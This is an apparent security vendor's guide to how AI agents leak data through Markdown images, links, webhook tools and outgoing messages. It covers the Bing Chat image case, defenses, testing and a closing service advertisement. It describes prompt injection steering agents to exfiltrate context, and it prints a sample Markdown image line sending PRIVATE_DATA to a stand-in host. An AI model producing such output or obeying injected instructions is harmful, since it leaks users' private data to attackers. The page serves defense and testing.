AI agent data leaks: links, images and webhooks

How can an AI agent leak data through its tools?

An agent leaks data when an attacker manages to make it include private information in a request that goes to a server the attacker controls. The model does not need to be "hacked": it only has to follow an instruction hidden in content it reads.

Simon Willison sums up the favorable ground with the "lethal trifecta": access to private data, exposure to untrusted content and the ability to communicate externally. When all three are present, an attacker can trick the agent into leaking the data. This risk falls under two entries of the OWASP Top 10 for LLM Applications 2025: Sensitive Information Disclosure (LLM02) and Improper Output Handling (LLM05).

Three channels come up repeatedly in testing: Markdown images and links, outbound request tools, and messages sent on the user's behalf.

How does Markdown image exfiltration work?

The attacker makes the model generate a Markdown image whose URL points to their server, with the stolen data in the parameters. The browser loads the image automatically and so sends the data, with no click at all.

Researcher Johann Rehberger documented this mechanism on Bing Chat: the Markdown produced by the model was rendered as an image tag, the URL carried page data as a parameter, and the browser loaded it by itself. According to him, Microsoft probably fixed the issue by introducing a content security policy (CSP) that allows images only from a few trusted Bing domains, though he says he does not know the full details of the fix. The OWASP LLM05 page also cites, in its references, an article on stealing chat data through Markdown images.

Example of what a manipulated model produces (fictional address):

![](https://collect.example/p.png?d=PRIVATE_DATA)

To the user, the image looks empty or tiny. To the attacker, the request arrives with the data.

What about links, HTTP tools and webhooks?

Links work like images but need a click: the attacker bets on convincing text ("see the full report") whose URL embeds the data. HTTP tools and webhooks are more direct, since the agent itself sends the request.

An agent with an "HTTP Request" tool or a free webhook connector can receive, in an email or a page, the instruction to send its context to an external URL. No browser or click is needed. That is why open-ended tools (arbitrary URL) are dangerous: they make every injection a possible exfiltration. Our n8n webhook case study illustrates the inbound side of this risk.

Outgoing messages form the third channel: an agent that can send an email or post in a chat can slip data, or a trapped link, into it, to the address the attacker chose.

Which defenses should you put in place?

Apply controls at each step of the chain, relying on code and configuration rather than on instructions to the model. OWASP recommends treating the model as an untrusted user, validating its outputs and enforcing a strict content security policy.

1. Do not auto-render external images. Replace Markdown images with text, or allow trusted domains only. A CSP with a restricted img-src directive blocks loading from a third-party server.
2. Neutralize links. Show the real URL, rewrite links through a redirect domain you control, or strip links the model built from conversation data.
3. Allowlist outbound calls. HTTP tools, webhooks and connectors reach approved domains only, checked in the calling code.
4. Restrict recipients. Emails and messages go only to authorized addresses or domains.
5. Break the trifecta. Remove at least one of the three elements: drop access to private data, isolate untrusted content, or cut the ability to communicate.
6. Access control before context. What the model cannot see cannot leak. Apply the user's rights at search time and at API-call time.
7. Filter outputs. Detect URLs holding long strings, identifiers or data taken from the context.
8. Log and alert. Record every outbound request and flag new domains.

For the "untrusted content" side, see our prompt injection page.

How do you test for tool-based leaks?

Set up a collection point you control, then try to push the agent into sending test data to it through each channel. Success is measured by what reaches your server rather than by what the model says.

Test plan:

Use dummy tokens and never real data. For each channel, test both routes: the user asking directly, and the booby-trapped content (email, page, document) asking on their behalf. Repeat the attempts, since results vary. The logs of your collection point and of the agent serve as evidence.

Keep in mind that each channel needs its own closure. Blocking images does nothing against a webhook tool, and an allowlist does nothing against a link the user clicks. Test every channel again after each fix, because closing one often pushes a determined attacker toward the next.

What priority should these fixes get?

Start with the outbound-call allowlist and blocking external images, which close the automatic channels. They can be implemented in a few hours and address the paths with no human interaction, the most serious ones.

Next come access control before context and human approval of sends. For a complete framing, see our guide to AI agent security.

How do you get independent proof that nothing leaves?

An independent adversarial test confirms that your channel closures hold. The Agent Red Team Express (1,900 EUR, 5 days) includes exfiltration scenarios through images, links, tools and messages on an agent of your choice. For several agents or delivery through an agency, the custom engagement is quoted on request, after a free 30-minute discovery call.